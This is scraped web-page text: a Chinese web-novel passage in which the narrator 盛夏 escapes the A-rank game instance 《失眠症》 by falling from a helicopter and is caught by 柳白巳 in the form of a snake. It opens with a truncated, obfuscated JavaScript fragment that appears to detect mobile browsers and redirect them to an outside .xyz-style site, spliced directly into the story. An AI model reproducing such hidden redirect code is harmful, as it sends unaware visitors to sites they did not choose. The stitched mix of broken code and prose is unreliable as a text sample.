l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15613956|172143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做什么,你都要相信我,好吗?” “不、不要……你又要——” 顷刻间,含不住的泪水夺眶而出,一场小规模的天灾爆发在他眼里。 柳白巳断断续续,恐惧令他始终吐不出完整的句子,但我几乎是立刻就明白了他的意思。 进度条加载96%…… 这次,我终于能目不转睛,一字一句,坚定地告诉他: “记住了,我没有想要抛下你,从来没有。 “无论是两年前的那天,还是此刻。” 胸前和腰侧的卡扣已经被我预先解开了。我放在他肩上的手一松,仰面一倒,身体一轻,像一颗流星,加速、再加速,穿过众人的惊呼,穿破层层云气,高高地从天空之中坠下—— “一会儿见。” 希望这句话不要飘散在风里。 耳边刮过呼呼风声,乌黑的短发环抱着我的视野,我甚至有种展开四肢的冲动。 那个抓着软梯的身影渐渐缩小成一个点。 天幕再次离我远去。 进度条加载99%…… “盛夏!” “已检测到脱离副本行为。” 萧鸮的声音再度响起,字正腔圆,我又忍不住想笑。 看熟人装正经大抵莫过于此。她哪怕找Siri来念呢? “任务结算中……” 如铭刻在空气中的魔咒,那熟悉的五行字骤然浮现,是一贯的纯黑冰冷: 「1.认识你自己!(已完成) 2.在五人中找出目标和委托人(已完成) 3.取证后,将证据交给委托人(已完成) 4.成功存活到第七天(已完成) 5.成功逃离酒店(已完成)」 我愣愣地瞪着中间那行字。 任务3我是怎么完成的?我根本没有给过柳白巳任何证据啊? 「恭喜您!您已顺利完成A级难度副本《失眠症》,最终评级:S」 「奖励已发放至您的精神力海中,请退出副本后查收。」 我简直要吐血了——这么难,竟然只是个A级的副本?! 那S级究竟长什么样,我还真是挺好奇的。 当然这也不能撇开柳白巳的横插一脚…… “盛夏!!” 狂风猛然灌进耳朵眼里,我蓦地一惊,举目望去,那颗芝麻般的小点近了、更近了——他不知道用了什么方法,使自己具备了一定的初速度,很快就要追上我了! 柔和的银纱轻轻盖在我眼皮上,视野霎时一空,上方的直升飞机也看不见了。 我茫然地眨眨眼,电光火石间,手腕已被一条冰冰凉凉的东西死死绞缠住。 但并不会勒得难受。 我下意识就低头一瞧—— “我不会再让你抛弃我了!” 那条带着哭腔的蛇口吐人言。 我轻轻摸了摸它的脑袋,滑溜溜的,说:“对不起。” 一听这话,那条蛇本来正梗着的脑袋蓦地僵住,然后哼哼唧唧地,用浓重的鼻音说:“对不起有用的话,要警察干嘛……别以为我会轻易原谅你。” 但尾巴尖已经很诚实地在蹭我的掌根皮肤了。 进度条加载100%—— “加载完成。” 柔和的女声响起,与以往不同,这次熟悉得我眼眶发酸,恍如隔世。 那是我的声音。 “脱离副本成功,欢迎回到现实世界。”